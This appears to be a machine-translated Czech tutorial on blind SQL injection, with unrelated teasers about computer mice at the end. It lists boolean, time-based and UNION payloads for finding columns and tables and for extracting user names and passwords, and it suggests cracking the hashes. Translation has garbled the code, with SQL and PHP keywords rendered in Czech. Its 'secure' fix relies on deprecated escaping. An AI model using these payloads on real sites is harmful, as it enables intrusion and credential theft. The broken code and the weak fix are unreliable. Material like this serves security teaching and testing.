Bezpečnostní

Výukový program pro techniky slepého vkládání SQL

Výukový program pro techniky slepého vkládání SQL

Co je to SQL Injection?

SQL Injection je typ databázového útoku, při kterém se útočník pokusí ukrást informace z databáze webové aplikace. To může dokonce vyústit ve vzdálené spuštění kódu v závislosti na prostředí webové aplikace a verzi databáze.

K SQL Injection dochází kvůli špatné sanitaci vstupu uživatele. Pokud vezmete vstup od uživatele v nějakém kódovacím jazyce (PHP, ASP.NET) a předat jej přímo do databáze serveru bez použití jakéhokoli filtru na vstupu, může to mít za následek zranitelnost SQL Injection.

Například následující kód PHP je zranitelný vůči útoku SQL Injection, protože přímo předává vstup uživatele do databáze. Útočník může vytvořit svůj vlastní škodlivý databázový dotaz a extrahovat data z databáze.

// Uživatelský vstup je uložen v proměnné id
$ id = $ _GET ['id'];
// Uživatelský vstup se provádí přímo v databázi
$ getid = "VYBRAT křestní jméno, příjmení FROM uživatelů WHERE user_id = '$ id'";
// V případě chyby nebo úspěchu jsou výsledky vráceny uživateli
$ result = mysql_query ($ getid) nebo zemřít ('
'' . mysql_error () . ''
');
$ num = mysql_numrows ($ výsledek);

Na druhou stranu je uveden příklad zabezpečeného kódu takového kódu pro interakci s databází. Přijímá vstup uživatele, filtruje z něj škodlivé znaky a poté jej předává do databáze.

$ id = $ _GET ['id'];
$ id = striplashes ($ id);
$ id = mysql_real_escape_string ($ id);

Normální vs slepý SQL Injection

Normální SQL Injection

Při normálním vkládání SQL, pokud se útočník pokusí vložit jako vstup jedinou citaci ('), když je tato jednoduchá nabídka spuštěna v databázi, databáze odpoví chybou. Chyba se vytiskne v prohlížeči útočníka.

Kód odpovědný za tuto chybu je

// pokud databáze odpoví chybou, provede se funkce „or die ()“
vytiskněte chybu
$ result = mysql_query ($ getid) nebo zemřít ('
'' . mysql_error () . ''
');

V nástroji Normal SQL Injection může útočník vidět výsledky chyb a snadno je identifikovat a zneužít.

Slepá SQL injekce

V případě aplikace Blind SQL Injection se při spuštění škodlivého dotazu, například jedné nabídky, chyba databáze nezobrazí v prohlížeči útočníka nebo se zobrazí velmi obecným způsobem, který útočník nemůže snadno identifikovat a zneužít.

Níže uvedený back-end kód je uveden níže

$ result = mysql_query ($ getid); // Odstraněno 'or die' pro potlačení chyb mysql

V aplikaci Blind SQL Injection útočník nevidí úplné výsledky, proto je obtížné tento typ SQLi identifikovat a zneužít, ale má stejnou úroveň rizika jako normální SQLi.

Techniky detekce slepého vkládání SQL

Zatímco normální SQL Injection lze detekovat odesláním jednoduché uvozovky (') jako vstupu a zkoumáním chyby výstupu, Blind SQL Injection nelze detekovat pomocí této techniky, protože nezobrazuje žádnou chybu SQL. Existuje mnoho technik k detekci injekce Blind SQL, některé z nich jsou uvedeny následovně

Detekce založená na PRAVDU a NEPRAVDĚ

Jednou z charakteristik databází včetně MySQL je rozdílné chování při pravdivých a nepravdivých prohlášeních. I když databáze nevykazuje žádné chyby, můžeme se rozhodnout použít příkazy True a False. Zvažte následující scénář,

Následující stránka je citlivá na slepé vkládání SQL, takže při pravdivém prohlášení se zobrazí všechny položky v databázi

1 'nebo 1 = 1 #

Zadání falešného dotazu jako vstupu nezobrazí žádná data.

1 'nebo 1 = 2 #

Dokonce i webová stránka nevykazuje žádné chyby, rozdíl mezi těmito dvěma stránkami říká, že naše dotazy jsou úspěšně spouštěny v databázi.

Detekce založená na TIME

Pro zpoždění existuje funkce v databázích včetně MySQL, MS-SQL a dalších. V našem dotazu můžeme použít funkci SLEEP (), pokud je odezva databáze pomalá, což znamená, že náš dotaz je úspěšně proveden a webová stránka je zranitelná vůči Blind SQL Injection.

1 'A spánek (15) #

Existuje další časově náročná funkce „BENCHMARK“, kterou lze použít ke zpoždění odpovědi databáze

1 'A SROVNÁNÍ (10000000, SHA1 (1337)) #

Výše uvedený řádek provede funkci SHA1 () 10 000 000krát v databázi, což způsobí značné zpoždění odpovědi.

Časově založené slepé vkládání SQL v jiných databázích

MS SQL: ID = 1; čekání na zpoždění '0: 0:10'-

ORACLE SQL: A [RANDNUM] = DBMS_PIPE.RECEIVE_MESSAGE ('[RANDSTR]', [SLEEPTIME])

PostgreSQL: AND [RANDNUM] = (VYBERTE [RANDNUM] Z PG_SLEEP ([SLEEPTIME]))

SQLite: AND [RANDNUM] = LIKE ('ABCDEFG', UPPER (HEX (RANDOMBLOB ([SLEEPTIME] 00000000/2))))

Extrahování informací o databázi

Prvním krokem extrakce databáze je určení čísel sloupců v databázi. Pak zkuste najít zranitelné sloupce a extrahovat další data.

Blind SQL Injection se chová odlišně s různými čísly sloupců v dotazu „seřazeno podle“.

1 'objednat podle 1 #

Výše uvedené tvrzení je pravdivé, protože v databázi vždy existuje alespoň 1 sloupec. Nyní zkuste s velmi velkým počtem.

1 'objednat do 10 000 #

Odpověď databáze je jiná než předchozí. Nyní zkuste 2 sloupce.

Příkaz fungoval, to znamená, že databáze má 2 nebo více sloupců. Nyní zkuste 3 sloupce.

1 'objednat do 3 #

Databáze neposlala žádnou odpověď, to znamená, že databáze má pouze 2 sloupce. Nyní se pokusíme vypsat seznam tabulek v databázi, použijeme k tomu následující dotaz

1 'sjednocení vše vyberte 1, group_concat (název_tabulky) z information_schema.
tabulky, kde table_schema = databáze () #

V backendové databázi „Kniha hostů a uživatelé“ jsou dvě tabulky. Tabulka „uživatelé“ může obsahovat uživatelská jména a hesla. Chcete-li z tabulky extrahovat názvy sloupců, vložte následující dotaz.

1 'sjednocení vše vyberte 1, group_concat (název_sloupce) z information_schema.
sloupce, kde table_schema = databáze () #

Nyní jsme extrahovali názvy sloupců, včetně sloupců uživatelů a hesel. Tyto sloupce ukládají uživatelská jména zákazníků a jejich hesla.

Nyní se pokusíme extrahovat data pomocí následujícího dotazu

1 'unie vše vybrat 1, group_concat (uživatel, heslo) od uživatelů #

A tak můžete využít Blind SQL Injection bez spoléhání se na chyby. Výstupní hesla jsou po většinu času hašována, což lze dešifrovat pomocí nástrojů jako John The Ripper nebo Hashcat.

Závěr:

Blind SQL Injection je typ SQLi, který nevykazuje chyby databáze ani neodpovídá velmi obecnou zprávou. Proto je velmi obtížné identifikovat zranitelnost Blind SQL Injection na webové stránce. Jakmile je detekován, můžete jej snadno zneužít manuálním nebo automatizovaným procesem pomocí SQLmap.

Přemapujte tlačítka myši odlišně pro jiný software pomocí ovládání myší X-Mouse
Možná potřebujete nástroj, který by mohl změnit ovládání myši u každé aplikace, kterou používáte. V takovém případě můžete vyzkoušet aplikaci s názvem...
Recenze bezdrátové myši Microsoft Sculpt Touch
Nedávno jsem četl o Microsoft Sculpt Touch bezdrátová myš a rozhodl se ji koupit. Po chvíli používání jsem se rozhodl se s ním podělit o své zkušenost...
Trackpad a ukazatel myši AppyMouse na obrazovce pro tablety Windows
Uživatelé tabletů často postrádají ukazatel myši, zejména když obvykle používají notebooky. Dotykové smartphony a tablety mají mnoho výhod a jediným o...